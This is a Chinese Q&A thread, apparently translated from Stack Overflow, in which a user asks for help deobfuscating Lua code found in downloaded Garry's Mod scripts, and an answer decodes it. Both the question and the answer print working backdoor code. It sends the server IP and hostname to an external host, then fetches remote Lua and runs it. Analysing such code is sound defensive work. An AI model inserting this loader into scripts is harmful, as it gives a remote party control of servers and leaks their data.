1

我最近下载了一些 lua 脚本并在其中发现了这个混淆代码。好几个小时后,我没能找到如何去混淆它,并正在寻求一些帮助。

就我已经尝试过的而言,我注意到数字只是转换为显示一些功能的字符。但是,似乎在顶部分配的变量没有分配给任何东西,或者可能是某些unicode在我的编辑器(原子)中不可见的特殊字符。

这是混淆的代码:

local ‪ = _G
local ‪‪ = ‪['\115\116\114\105\110\103']
local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
  if ‪‪['\108\101\110'](‪‪‪‪) == 0 then
    return ‪‪‪‪
  end
  local ‪‪‪‪‪ = ''
  for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪, '\46\46') do ‪‪‪‪‪
    = ‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_, 16), 53))
  end
  return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {[‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']()})
  end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
  function (‪‪return)
    ‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
  end, nil )
end )
4

1 回答 1

2

旧 Lua(和现代 LuaJIT)允许在标识符中使用任意非 ASCII 字节(高于 0x7F)。
混淆的好功能!:-)

timer.Simple(
   5,
   function ()
      http.Post(
         "https://chainlose.000webhostapp.com/svlog/tracker.php", 
         {
            c = gmod.GetGamemode().Name, 
            e = game.GetIPAddress(), 
            d = GetHostName()
         }
      )
   end 
)
timer.Simple(
   5,
   function ()
      http.Fetch(
         "https://chainlose.000webhostapp.com/gas.lua",
         function (str)
            RunString(str)
         end, 
         nil 
      )
   end 
)
于 2019-07-10T10:11:35.347 回答